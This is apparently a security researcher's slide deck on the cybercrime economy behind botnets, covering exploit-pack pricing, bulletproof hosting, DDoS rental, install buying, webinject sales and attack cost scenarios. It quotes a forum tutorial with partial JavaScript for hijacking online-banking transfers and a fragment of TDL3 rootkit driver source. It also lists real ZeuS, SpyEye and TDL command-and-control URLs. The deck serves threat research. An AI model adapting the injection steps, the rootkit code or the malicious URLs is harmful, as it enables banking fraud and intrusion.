Targeted and Opportunistic Botnet Building
• Gunter Ollmann
  – VP of Research, Damballa Inc.
  – Board of Advisors, IOActive Inc.

• Brief Bio:
  – Been in IT industry for two decades – Built and run international pentest teams, R&D groups and consulting practices around the world.
  – Formerly Chief Security Strategist for IBM, Director of X-Force for ISS, Professional Services Director for NGS Software, Head of Attack Services EMEA, etc.
  – Frequent writer, columnist and blogger with lots of whitepapers...
    • [http://blog.damballa.com](http://blog.damballa.com) & [http://technicalinfodotnet.blogspot.com](http://technicalinfodotnet.blogspot.com)
Targeted?
Opportunistic?
Today’s Threat Landscape

• What’s it take to become a cybercriminal?
  - Know how to use a search engine
  - Ability to install software on your own computer

• What about those “advanced” threats?
  - Tools and services available for sale, rent and lease
  - Federated ecosystem of tool and service providers
  - Specialist services and gray-market expertise for hire
  - Video how-to’s and advertizing
• **Self-contained botnet building unit**
  – Skills all contained within a single team

  ![Malware Author](image1) ![Exploit Coder](image2) ![Web Developer](image3) ![Email Sender](image4) ![Fraud Handler](image5)

• **One-stop crime shop**
  – Building, managing, distributing & monetizing the botnet
  – Autonomous cybercrime unit
A Brief History of Botnets
A Brief History of Botnets

Too many operators competing for diminishing returns
A Brief History of Botnets

More time spent battling their competitors (DDoS, sabotage, informants, etc.)
A Brief History of Botnets

Growing degrees of specialization

Many criminal operator teams dissolve
A Brief History of Botnets

Federated services model

Introduction of newbies with minimal technical skill
• **Consolidation of expertise**
  – Dedicated guns for hire

• **Boutique specializations**
  – Translation services for spear phishing campaigns
  – Exploit weaponization for Android malware
  – Arbitration services between botnet buyers/sellers
Self-contained Ecosystem

• Service and tool provisioning
  – From cottage-industry to full-service offerings

• Pricing models to suit any pocket
  – Buy-to-rent, rent-to-buy
  – Service (and victim) bartering

• Affiliate systems
  – Resellers
  – Value-add services
• **Multiple components to botnet building**
  – Creation of the botnet crimeware
  – Force/trick victim to installing the crimeware
  – Building a robust CnC infrastructure
  – Monetization: laundering, mules, etc.

• **Plenty of opportunity for third-parties**
An Infection Lifecycle

**Dropper(s)**
Victim

**Post Unpack**
Disable local security
Prevent updates/patches
Inventory victim

**Post Agent Install**
Delete dropper/installer
Clear logs & events
Catalogue & inventory

**Criminal Control**
Multiple CnC proxies
Separate CnC portals
Updates to bot agent
Updates to list of CnC’s
Agent integrity checking
Locking of agent to victim
Issuing of batched commands

Remote access & control
Malware Reviews
AV Testing
The service lowest prices on the market:
$0.12 for one-time validation (6 cents per file) and $20 per month for full-NL
Tutorials

ATS (webinjests)

It is very easy, just some people think too hard, I am writing this small tutorial for showing to AV engine idea. This will only work on transactions without TAN.

For (m)TAN there’s other tricks.

But the basic is:

Step 1: Kill all frame checking scripts on the page
Step 2: inject hidden iframe with the “transfer page” to the first page (welcome page) after login
Step 3: In the transfer page URL inject code like

```javascript
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.onreadystatechange=Function() {if(xmlhttp.readyState==4 && xmlhttp.status==200) {
var grab = xmlhttp.responseText.between(string_before, string_after);
grab = grab.replace(/\s+/g, "").replace(/\s+/g, "").replace(/\s+/g, "");
grab = Math.floor(grab.replace(/\s+/g, "").replace(/\s+/g, ""));
}
if(!isNaN(grab) && grab >= min_amount)
{grab = Math.floor(grab/100*percentage);

*
Something like:
document.getElementById("icon").innerHTML="";document.getElementById("button").innerHTML="button";document.getElementById("submit").innerHTML="button";}
}
xmlhttp.open("GET",url_limit_info, true);
xmlhttp.send();
}
do_the_Shit();
</SCRIPT>
```

Step 4: After that is done. It is all to your own choices.

Tips:
* It is easy to make the transaction details (the info where it get send) dynamic with injecting / requesting remote files
* It is possible to "FREEZE" the amount but you need a database that stores the amount before transaction.
* A noticer that sends the transaction info too remote page
* Some websites uses referer check but it is easy to bypass that by finding the page and inject the code into it.

I am drunk I go sleep
Bullet-proof Hosting

Dragon BulletProof Server

$150/month
Pack 1 Q9300—$140 First Month
Sold Out!!!

$145/month
Sold Out!!!

$140/month

Why choose our Dedicated Servers?
100% Bullet Proof!!!
Unlimited Bandwith!!!
No spam complaints!!!
Free OS re-install!!!
No Extra Fee for Win 2008

Server Features
- CPU/Intel Core2Quad
- RAM:4G DDR3
- HDD:50G SATA II
- LAN:100Mbps Shared
- Guaranteed speed:15Mbps
- Unlimited Bandwith!!!
- OS:Win 2003
- Setup:0-24 hours

Server Features
- Intel Core2Quad
- CPU/Intel Core2Duo E7400

RPDucts
- Best Selected Email List
- Country Sorted Email List
- Special Interest Email List
- Customized Email List
- Bulletproof Email Hosting
- Bulletproof Web Hosting
- Bulletproof Email Server
- Bulletproof Domain Name
- Bulletproof Email Account
- Email Marketing Services
- Email Marketing Software

Bulletproof Web Hosting

Home - Bulletproof Web Hosting

Results 1 - 2 of 2

Standard BulletProof Web Hosting
$299.00USD

Advanced BulletProof Web Hosting
$399.00USD

More Products on Next Page:
Result Pages: 1 of 1
Full Service Hosting Providers

• Targeted service offerings
  – Catering exclusively to cyber criminals

VIP - Package
Servers in different countries
20 Domains
20 GB HDD (hard disk)
250 GB Bandwith (traffic)
On the server, no more than 5 clients.
The rest is almost unlimited.
Resistant domain in the kit.
Double OpenVPN access included.
Package price 199 $ / mo

The new rule placement in China:
- Prohibited any hints of pornography, including erotic.
For violation of this rule account is deleted without any compensation, the server is canceled without any compensation.
VPN Services

Our servers
Localization of servers by country, also well as testing services

Quad VPN
1. Создавайте любые связи VPN серверов.
2. Вы сами выбираете количество и порядок серверов в маршруте.
3. Максимальная безопасность и анонимность.
• Foreign language support
  – Crime specific
Exploit packs

- **Eleonore Exp v1.6.2**
- **Pricing**
  - Package: $2000
  - Updates: $100
  - Rebuild for new IP: $50
- **Special pricing**
  - Subacc Edition: $2500
  - Rental Edition: $3000
Exploit Pack Diversity
Exploit Pack Management

- Full capability portals
- Multiple exploits
  - Multi-platform & app
DDoS for Rent

Characteristics of a botnet:
- Samopsny bot.
- Day Online (from 12-00 to 24-00): ~ 9000
- Night line (from 24-00 to 12-00): ~ 6000

Tests were carried out on (sorry admins):
1) Cy-Pr.Com - After 2 minutes, the site shows "502 Bad Gateway", and 10 completely fell
2) 4DiE.Ru - 25 seconds and the site died
3) Wapos.Ru - 6 minutes and nginx gave 502 error
Botnet Selling

- Build-to-sell models
  - Public forum postings
  - Private forum requests
  - Mediators to facilitate transfers
Buy Specific Bot Victims

- **Compromised systems**
  - Hacked “manually”
  - Hacked via Googledorks
  - Backdoor delivery

- **Campaigns**
  - “Opportunistic” delivery
  - Sifting of victim inventory
  - Specialized sale of notable systems
Distributed TDL3 variants
Full Service PPI

Gangsta Bucks

Rates:
- US 100$  
- CA 100$  
- AU 140$  
- GB 140$  
- Asia 55$  
- Europe 50$  
- Other 20$
Can buy all yours instals! Gangstabucks.
http://2.gangstabucks.com - link to registration.

New affiliate! We are ready to buy any amount of your installs at high prices.
We have the most friendly support service that will support you and will answer any question at any time of day.
We pay the following payment systems: on Webmoney, Paypal, Liberty Reserve, Western Union and Wire. By special arrangement are possible and the daily payment.
You will enjoy detailed statistics and our high rates!

For more information you can get on icq or look at our site http://2.gangstabucks.com

icq - 6179
Disclaimers & Protection
• Legitimate or fraud?
  – Common use of disclaimers and agreements

• “Protection” and air of authenticity
  – Proof of concept
  – Not for criminal use
  – Please do not use illegally
  – Internal testing purposes only
  – Warranty void if used for criminal purposes
  – Commercial network administrators only
  – Click here to accept full responsibility
1. **We are not held responsible for any actions you use our software for.**

2. We are not responsible if you purchase this without having any understanding of how it works.

3. There are **NO** refunds, all sales are *final*.

4. If your portal account gets stolen, you have to provide ownership of it before we will offer support on helping you get it back, otherwise its not our problem. (Purchase Information etc.)

5. We only offer support if its something on our end, otherwise we are not responsible if your having problems with using our software. (We are here to help, not spoon feed.)

6. We do not support resold accounts! **We are not held responsible if you are scammed by a reseller, to be safe you should only buy DDoSeR from us.** If you did not purchase from us then we are not required to give you support.

7. You may get trolled on in "User chat", we don't care, so dont come crying to us because its not our problem that your stupidity over comes you.
DarkComet RAT Disclaimer

- Click-through EULA/Disclaimers

DarkComet-RAT (Remote Administration Tool) is the most complete and one of the most stable RAT in the scene. This software is designed for people that have a very good knowledge in computer security, it can be useful in many cases.

- Remote control your network computers (LAN / WAN)
- Remote assist your clients if you manage a company
- Find your lost passwords in your computers
- Spy your home networks (For your child, Wife, Husband...)
- Test the security of your computers or your company
- To develop your knowledge in RAT softwares
### Scam Reporting

**Forum: Scam Reports**

Have you been scammed? Report it here.

<table>
<thead>
<tr>
<th>Title / Thread Starter</th>
<th>Replies / Views</th>
<th>Last Post By</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sticky: [TEMPLATE] Scam Reports</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Started by Nu11, 29-12-2010 17:23</td>
<td>0</td>
<td>17-23</td>
</tr>
<tr>
<td>eBay pc's for sale! [SCAMMER]</td>
<td>16</td>
<td>505</td>
</tr>
<tr>
<td>Started by Phenom, 3 Weeks Ago 09:34</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td><a href="mailto:contempt@fbi.gov">contempt@fbi.gov</a></td>
<td>16</td>
<td>1,233</td>
</tr>
<tr>
<td>Started by entropy, 26-01-2011 21:45</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>RDGMx is a scammer</td>
<td>8</td>
<td>556</td>
</tr>
<tr>
<td>Started by rudy, 06-02-2011 20:43</td>
<td></td>
<td></td>
</tr>
<tr>
<td>carders.biz owner is a scammer [Proof Provided]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Started by -PuNk-, 09-02-2011 23:18</td>
<td>1</td>
<td>550</td>
</tr>
<tr>
<td>n3m, nem aka r0b0b00d</td>
<td>17</td>
<td>1,306</td>
</tr>
<tr>
<td>Started by ever, 30-12-2010 07:24</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>RDG Tejon Crypter v1.4 Extreme Edition is a scam</td>
<td>32</td>
<td>2,217</td>
</tr>
<tr>
<td>Started by doctorcoder, 06-11-2010 05:10</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>I Think i had been scammed!</td>
<td>76</td>
<td>3,540</td>
</tr>
<tr>
<td>Started by DarkCoderSc, 23-04-2010 19:47</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Botnet Building & Operations
## 2010 Biggest Botnets

<table>
<thead>
<tr>
<th>2010 Botnet</th>
<th>Percentage of Victim Population</th>
<th>2009 Position</th>
</tr>
</thead>
<tbody>
<tr>
<td>TDLBotnetA (RudeWarlockMob)</td>
<td>14.8%</td>
<td>--</td>
</tr>
<tr>
<td>RogueAVBotnet (FreakySpiderCartel)</td>
<td>5.7%</td>
<td>--</td>
</tr>
<tr>
<td>ZeusBotnetB (FourLakeRiders)</td>
<td>5.3%</td>
<td>--</td>
</tr>
<tr>
<td>Monkif</td>
<td>5.2%</td>
<td>5th</td>
</tr>
<tr>
<td>Koobface.A</td>
<td>4.0%</td>
<td>&lt; top10</td>
</tr>
<tr>
<td>Conficker.C</td>
<td>2.8%</td>
<td>&lt; top10</td>
</tr>
<tr>
<td>Hamweq (GraySunGirls)</td>
<td>2.5%</td>
<td>--</td>
</tr>
<tr>
<td>AdwareTrojanBotnet (WickedRockMonsters)</td>
<td>2.2%</td>
<td>--</td>
</tr>
<tr>
<td>Sality</td>
<td>2.1%</td>
<td>&lt; top10</td>
</tr>
<tr>
<td>SpyEyeBotnetA (OneStreetTroop)</td>
<td>1.9%</td>
<td>--</td>
</tr>
</tbody>
</table>
Feature Creep
• Originally Zbot was a Gaming Mod/Cheat bot
• Initially developed by Slavik (aka Monstr) into the Zeus bot we know today
• For well over 5 years Zeus (Zbot) led the top 10 most wanted criminal networks
• Eastern European based organized criminal threat
• In early Q1 2011 best of Zeus was merged into SpyEye
• In late Q1 2011 source code for version 2.0.8.9 publicly leaked
Zeus

The image shows a screenshot of a Zeus malware tool interface. Zeus is a botnet malware that steals credit card information and other sensitive data from infected computers.
Zeus code for sale/grabs

[SRC C++] Latest Zeus Source Code!

Hey!

Selling full source code of the latest Zeus Bot from author for cheap price. I do not sell bins.

SCREENSHOT FOR THE LULZ

PAYMENT
LR / WMZ / WU (Any verified escrow service accepted)

CONTACT INFA
ICQ 600554345
JABBER ioo[at]jabbim.com

PS: I gave src to Nu11 for verification, waiting for him to move my thread.
<table>
<thead>
<tr>
<th>ZeuS Kit Default URL</th>
<th>URL Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>zephehooqu.ru/bin/teemaeko.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>iveeteepew.ru/bin/teemaeko.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>jocudaidie.ru/bin/cahdoigu.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>johgheejae.ru/bin/oopaiboo.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>kaithuushii.ru/bin/alphaipi.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>deilaeyeew.ru/bin/ucuosaew.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>adaichaepo.ru/bin/thootham.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ootaivilei.ru/bin/thootham.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>voraojoong.ru/bin/saejuogi.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>dahzunaeye.ru/bin/sofeigoo.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/baiquaad.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/eegotook.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/hueghixa.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/laangiet.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/oomiepe.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/saejuogi.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/shufaica.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/thootham.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/voirooco.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>ophahfech.ru/bin/vusogahh.bin</td>
<td>CnC</td>
</tr>
</tbody>
</table>
### Other ZeuS CnC Structures

<table>
<thead>
<tr>
<th>ZeuS Kit Custom Cnc URL</th>
<th>URL Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>freehost21.tw/b/cfg375.bin</td>
<td>CnC</td>
</tr>
<tr>
<td><a href="http://www.technoplast.com.ua/catalog/nibco/tmc.bin">www.technoplast.com.ua/catalog/nibco/tmc.bin</a></td>
<td>CnC</td>
</tr>
<tr>
<td>askuv.com/percent/update.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>leadingcase.cc/20aug_old.cpm</td>
<td>CnC</td>
</tr>
<tr>
<td>mswship.com/xed/config.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>nascetur.com:81/wc/cof58.bin</td>
<td>CnC</td>
</tr>
<tr>
<td>nascetur.com:81/wc/g6.php</td>
<td>Drop Site</td>
</tr>
<tr>
<td>nascetur.com:81/wc/512.exe</td>
<td>Trojan</td>
</tr>
</tbody>
</table>
Kit Development & Deployment

Zeus

SpyEye

TDSS
• Developed by Roman (aka Gribo/Hiro) in mid-2009
• Released in late 2009 to compete with Zeus, automatically removing Zeus upon infection
• In Q4 2010 Roman received stewardship of the Zeus bot source code from Slavik
• In Q1 2011 SpyEye 1.3 emerged as the best of Zeus and SpyEye merged with new functionality
  – Mobile Devices
  – DDoS
  – Enhanced Persistence
depends on site. For some sites it grabs only login/pin, for others it grabs login/pin + security questions/other data (such as address etc.).

If you are interested in buying I can show you a sample via ICQ.
Mynet-Injects Service

Webinjects sale Zeus/Spayee (mynet-injects service)
THIS SERVICE WILL SOON GO IN PRIVATE MODE

Hello

We sell already made webinjects for Zeus/Spayee. We can develop webinjects to your needs if you provide logins for testing it.

Injests can be made on for any country and any language if you provide details for it.

Injests are tested on accounts before selling. We can do injests in different languages, depending on your needs (you have to provide the text for fields).

Injests are sold encrypted and you can’t modify them.

Now we have the following working injests ready for sale:

UK
1) Barclays (phone banking + full cc),
2) Co-operative banking (acc+full cc), inject injpage
3) Smile bank (full cc), inject injpage
4) Halifax (all banking info + full cc),
5) HSbc (sec key + phone+ emai1),
6) Lloyds (banking info + pin),
7) Santander (full cc),
8) O2 (full cc)
9) Paddy Power (full cc),
10) Southern-electric (full cc),
11) T-mobile (full cc),
12) Vodafone (full cc),
13) William hill (full cc),
14) TR (full cc),
15) Coral (acc + full CC),
16) HMrc (acc+full cc),
17) eBay UK (full cc),
18) Paypal UK (full cc),
19) NationWide Bank (full cc) inject injpage
20) Capital One Banking (full cc) inject injpage
21) FirstDirect Bank (banking info)
22) Amex UK (full cc)

and we will update more soon ...

Canada
1) RBC (Full cc) french language
2) Scotia Bank (banking info + cc)
3) Amex (full cc)

USA
1) eBay (full cc)
2) Paypal (full cc)
3) NC SECredit Union (full cc)
4) Verizonwireless (full cc)
5) Greatsouthernbank (full cc)
6) Valley National Bank (full cc) inject injpage
7) Bank Of America (full banking info + full cc - price 100 wmq/k)
8) Bank of America (small inject)
9) Chase (banking info)
10) Amex (full cc)

UK
1) Private bank

INT
Western union (full cc + vbv/mcsec pass)
Moneybookers (full cc + vbv/mcsec pass)

Price for one inject is now 60 WMZ/LR
Price for UK injects pack 710 WMZ/LR

Price went up (implemented drop down menu, card verification with Luhn algorithm, fields verifications for numbers and other non sense characters)

ESCRROW WELICMED. (YOU PAY ESCRROW CHARGES).

PLEASE DONT ASK US ABOUT BOTNET SALE - WE ARE NOT SELLERS OF BOTNET SERVICE, WE ONLY DEVOLEPE INJECTS!! IF YOU NEED BOTNET PLEASE CONTACT BOTNET AUTHORS TO BUY!!

Contact: mynet-injects@jabber.ru
ICQ: 637191801

Screen of injpage inject http://www.sendspace.com/file/eseub0
live screen Wu http://www.sendspace.com/file/ueu8gt
live screen Boah http://www.sendspace.com/file/ki33r pass: carder.biz

check feedbacks on
exploit.in
carder.biz
<table>
<thead>
<tr>
<th>Malware Drop</th>
<th>CnC</th>
<th>Malware Drop</th>
<th>CnC</th>
<th>Malware Drop</th>
<th>CnC</th>
</tr>
</thead>
<tbody>
<tr>
<td>barcalys-trial3.com/main/bin/build.exe</td>
<td></td>
<td>coundnes.com/cache/bin/build.exe</td>
<td></td>
<td>eu-analytics.com/sp4a/bin/1_sp4a_new.exe.crypted.exe</td>
<td></td>
</tr>
<tr>
<td>217.23.7.21/date/gate.php?guid=User!SANDBOX0! D06F0742&amp;ver=10129&amp;stat=ONLINE&amp;ie=6.0.2900.2180&amp;os=5.1.2600&amp;ut=Admin&amp;cpu=19&amp;ccrc=3D893DD9&amp;md5=60d6d584515e1925e0d0c9edd8b32eed</td>
<td>CnC</td>
<td>200.63.45.69/~datosco/main/gate.php?guid=User!SANDBOX2! D06F0742&amp;ver=10132&amp;stat=ONLINE&amp;ie=6.0.2900.2180&amp;os=5.1.2600&amp;ut=Admin&amp;cpu=100&amp;ccrc=690E5C55&amp;md5=82beb808bef523b7660af10266377407</td>
<td>CnC</td>
<td>91.213.174.34/spyeye_main/gate.php?guid=User!SANDBOX2! D06F0742&amp;ver=10200&amp;stat=ONLINE&amp;ie=6.0.2900.2180&amp;os=5.1.2600&amp;ut=Admin&amp;cpu=22&amp;ccrc=B144ABF5&amp;md5=e8a713c24a38b9339474f71f5bcff78a</td>
<td>CnC</td>
</tr>
<tr>
<td>77.78.240.162/spye/gate.php?guid=User!SANDBOX0! D06F0742&amp;ver=10207&amp;stat=ONLINE&amp;ie=6.0.2900.2180&amp;os=5.1.2600&amp;ut=Admin&amp;plg=ftpbc&amp;cpu=100&amp;ccrc=8CCFE0AB&amp;md5=84a9aedb378c3ec297a775c1f7fc573a</td>
<td>CnC</td>
<td>91.213.174.34/spyeye_main/gate.php?guid=User!SANDBOX2! D06F0742&amp;ver=10200&amp;stat=ONLINE&amp;ie=6.0.2900.2180&amp;os=5.1.2600&amp;ut=Admin&amp;cpu=22&amp;ccrc=B144ABF5&amp;md5=e8a713c24a38b9339474f71f5bcff78a</td>
<td>CnC</td>
<td>77.78.240.162/spye/gate.php?guid=User!SANDBOX0! D06F0742&amp;ver=10207&amp;stat=ONLINE&amp;ie=6.0.2900.2180&amp;os=5.1.2600&amp;ut=Admin&amp;plg=ftpbc&amp;cpu=100&amp;ccrc=8CCFE0AB &amp;md5=84a9aedb378c3ec297a775c1f7fc573a</td>
<td>CnC</td>
</tr>
</tbody>
</table>
Kit Development & Deployment

Zeus

SpyEye

TDSS
• First appearance in 2008 as a rootkits with strings of TDSS
  – There go the name TDSS a play on the acronym SSDT which it broke
  – TDL comes from the play on the acronym LDT but also as the “Tyler Durden Loader”
• Between 2008-2010 versions 1-3 = Info Stealers & downloaders for rogue AV and DNS changing trojans (subleasing)
• In Q3 2010 version 4 focused on in-depth persistence MBR infection
• In Q1 2011 version 4.1 there is now 64bit support
• In Q2 2011 Reports of Mac and Mobile device support
• March 2011 – installs other malware
  – Win32/Glupteba.D (Clickjacking/SEO bot)
TDL3 Driver Source

```c++
#include "inc.h"

#pragma comment(linker, "\"/ subsystem: native /entry: DriverEntry\"\")

NT_BEGIN
EXTERN_C_START

DWORD GetDelta();

NTSTATUS Reinitialize(PDEVICE_OBJECT, BOOLEAN);

VOID GetPhysOffset();

NTSTATUS TLEntry(PDEVICE_OBJECT pDevObject, UNICODE_STRING pDevObjName, PDRIVER_OBJECT pDriverObject);

NTSTATUS GetAddress(PDEVICE_OBJECT pDevObject, UNICODE_STRING pDevObjName, PDRIVER_OBJECT pDriverObject);

PTFILE ptsStart;

FILE.Reader phReader;

GET_TDL_ADDRESSES(pDevDeviceHandle, PDEVICE_OBJECT)pDevObject;
```
<table>
<thead>
<tr>
<th>URL</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>64.191.25.166/perce/447c05f1e6bff6d24d24a15d483cedb9689f10406b7230b46e69c850008919480e2c3fe8d432c72e6/607/perce.jpg</td>
<td>CnC</td>
</tr>
<tr>
<td>69.10.35.251/perce/447c05f1e6bff6d24d24a15d483cedb9689f10406b7230b46e69c850008919480e2c3fe8d432c72e6/607/perce.jpg</td>
<td>CnC</td>
</tr>
<tr>
<td>69.10.35.251/perce/465cbbfb5c459068718ea7c544e87ed2a776f651b13f6f75e085d95d0f16be4d73603cc8bfd83f316/d4f5b0c5628/qwerce.gif</td>
<td>CnC</td>
</tr>
<tr>
<td>69.10.35.251/perce/8020ac6db14a14e0ed94c17da86c8d0938cffffffff0c02ba29014ae9a81000a9b998de60f98a422879eb/400/perce.jpg</td>
<td>CnC</td>
</tr>
<tr>
<td>69.10.35.251/perce/96ec3b1bccc25c048614e07d5d478be22d7565661f17f1f754035b9cd3ff64ecde370e8afa8ff01ff0e/perce.jpg</td>
<td>CnC</td>
</tr>
<tr>
<td>88.214.201.132/perce/447c05f1e6bff6d24d24a15d483cedb9689f10406b7230b46e69c850008919480e2c3fe8d432c72e6/607/perce.jpg</td>
<td>CnC</td>
</tr>
<tr>
<td>images-humanity.com/werber/30f/216.jpg</td>
<td>CnC</td>
</tr>
<tr>
<td>imagesmonitor.com/werber/e4d08081926/216.jpg</td>
<td>CnC</td>
</tr>
<tr>
<td>pictureswall.com/werber/b0f/216.jpg</td>
<td>CnC</td>
</tr>
<tr>
<td>hipartsonline.com/werber/548582c8e44/217.gif</td>
<td>CnC</td>
</tr>
<tr>
<td>virtualartsonline.com/perce/23a8802761f8ac0664709edb14b9b80dee020a2ca627fe38e608115236346f52d748b397c3e4cd0a/d4b8c69787c/qwerce.gif</td>
<td>CnC</td>
</tr>
<tr>
<td>videoartfilms.com/werber/34a826c797b/217.gif</td>
<td>CnC</td>
</tr>
</tbody>
</table>
Dialing in the Attack
Opportunistic Building Strategy

• There’s a general myth that botnet operators are opportunistic in their building strategy.
  – In some older and sloppier cases they are but things have moved on.

• Damballa tracking several thousands groups
  – Assigning funny names etc.
  – Specialized tactics
**Major Attack “Classes”**

**Indiscriminate** “wrong place at the wrong time”
* Seeding of popular sites/locations/files
* Opportunistic return on victims – sort afterwards
* Fire and forget with no/low management costs

**Focused upon a target** **profile**
* Casting a wide net over possible victims
* Monetization angle already decided upon
* Efficient and largely automated approach

**Predefined** objective and victim list
* Attack vectors tuned to target requirements
* Destination/use of stolen data pre-agreed
* Focused tool design and manual processes
### Scenario:
- 14yr-old wanting to DDoS “friends” on X-Box
- Seed torrents and newsgroups with botnet agent
- Target = growth rate of 100 victims per week

<table>
<thead>
<tr>
<th></th>
<th>Setup</th>
<th>Monthly</th>
<th>Annually</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zeus DIY Kit</td>
<td>$0</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td>• Pirated version</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Single CnC server</td>
<td>$0</td>
<td>$30</td>
<td>$360</td>
</tr>
<tr>
<td>• Home computer</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Dynamic DNS</td>
<td>$0</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td>• Free DDNS for DHCP churn</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td>$0</td>
<td>$30</td>
<td>$360</td>
</tr>
</tbody>
</table>
Scenario:
- 18yr-old student in Brazil wanting USA victim bank accounts
- Carbon-copy phishing environment and emails
- Target = 2,500+ victims per week

<table>
<thead>
<tr>
<th></th>
<th>Setup</th>
<th>Monthly</th>
<th>Annually</th>
</tr>
</thead>
<tbody>
<tr>
<td>SpyEye DIY Kit</td>
<td>$2,000</td>
<td>$0</td>
<td>$500</td>
</tr>
<tr>
<td>• Commercial version</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Two CnC servers</td>
<td>$75</td>
<td>$30</td>
<td>$360</td>
</tr>
<tr>
<td>• Bullet proof</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>US Bank phishing SpyEye plug-in</td>
<td>$50</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td>Spam sending service</td>
<td>$0</td>
<td>$100</td>
<td>$1200</td>
</tr>
<tr>
<td>• 100,000 emails per day</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Total(s)</strong></td>
<td>$1,125</td>
<td>$130</td>
<td>$2,060</td>
</tr>
</tbody>
</table>
### Scenario:
- Professional cybercriminal looking for big payment
- Locating and eventual spear-phishing of CFO
- Target = obtain corporate banking credentials

<table>
<thead>
<tr>
<th>Service Description</th>
<th>Setup</th>
<th>Monthly</th>
<th>Annually</th>
</tr>
</thead>
<tbody>
<tr>
<td>Poison Ivy malware construction kit (licensed)</td>
<td>$0</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td>Armoring of malware &amp; QA FUD testing</td>
<td>$60</td>
<td>$20</td>
<td>$240</td>
</tr>
<tr>
<td>Obtaining corporate hierarchy details</td>
<td>$499</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td>Email, translation and spear-phishing design</td>
<td>$200</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td>Mule &amp; transaction laundering service</td>
<td>$0</td>
<td>$600</td>
<td>$0</td>
</tr>
<tr>
<td><strong>Total(s)</strong></td>
<td>$759</td>
<td>$620</td>
<td>$240</td>
</tr>
</tbody>
</table>
## Scenario:
- Anonymous entity (Patriotic or Politically motivated)
- Infiltrate and steal software signing certificate
- Target = A popular microprocessor manufacturer

<table>
<thead>
<tr>
<th>Service Description</th>
<th>Setup</th>
<th>Monthly</th>
<th>Annually</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commercial grade RAT</td>
<td>$0k</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td>Commissioned spear-phishing campaigns</td>
<td>$2k</td>
<td>$2k</td>
<td>$24k</td>
</tr>
<tr>
<td>• Guaranteed delivery, 24x7 support</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Access to 2 (two) 0-day vulnerabilities</td>
<td>$40k</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td>• Replacement warranty if fixed/patched</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Rent-a-hacker</td>
<td>$20k</td>
<td>$0</td>
<td>$0</td>
</tr>
<tr>
<td>• Experienced hacker &amp; enterprise network navigator</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>• 10 man-day retainer + hourly rate</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>Total(s)</strong></td>
<td><strong>$62</strong></td>
<td><strong>$2</strong></td>
<td><strong>$24</strong></td>
</tr>
</tbody>
</table>
Keeping it simple (and wrong)
• Blurred “Targeted” vs “Opportunistic”?
  – Unaffiliated attack components
  – Independent service provisioning

• Targeted attacks
  – Does “intent” matter?
  – “It’s just business” – Don’t take it personally
• It’s a matter of perspective
  – It feels personal...

• There may be targeted objectives
  – Different parts of the “value chain”

• Attack delivery opportunistic
  – Multiple campaigns & probabilities of success
  – Gray-areas of operation
New Label?

• Is the “Targeted Attack” an outdated term?
  – Battling an ecosystem not an individual

• TLA alternative labels?
  – APT (Advanced Persistent Threat)
  – ABA (Affiliate-based Attack)
  – CDS (Crimeware Distribution System)
  – WPWT (Wrong Place, Wrong Time)
Opportunity